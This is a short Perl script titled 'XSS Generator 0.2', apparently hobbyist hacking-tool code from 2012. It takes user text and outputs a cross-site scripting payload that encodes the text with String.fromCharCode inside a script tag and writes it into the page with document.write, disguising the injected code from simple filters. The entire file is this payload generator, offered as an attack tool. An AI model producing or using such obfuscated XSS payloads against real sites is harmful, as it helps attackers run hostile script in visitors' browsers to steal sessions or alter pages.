#!usr/bin/perl
#XSS Generator 0.2
#Coded By Doddy H
head();
print "\n[+] Enter the code : ";
$code = <STDIN>;
chomp $code;
if ( $code ne "" ) {
print "\n\n[XSS] : <script>var code =String.fromCharCode("
. encode($code)
. "); document.write(code);</script>\n";
}
copyright();
sub head {
print "\n\n-- == XSS Generator 0.2 == --\n\n";
}
sub copyright {
print "\n\n-- == (C) Doddy Hackman 2012 == --\n\n";
<stdin>;
exit(1);
}
sub encode {
return join ',', unpack "U*", $_[0];
}
#The End ?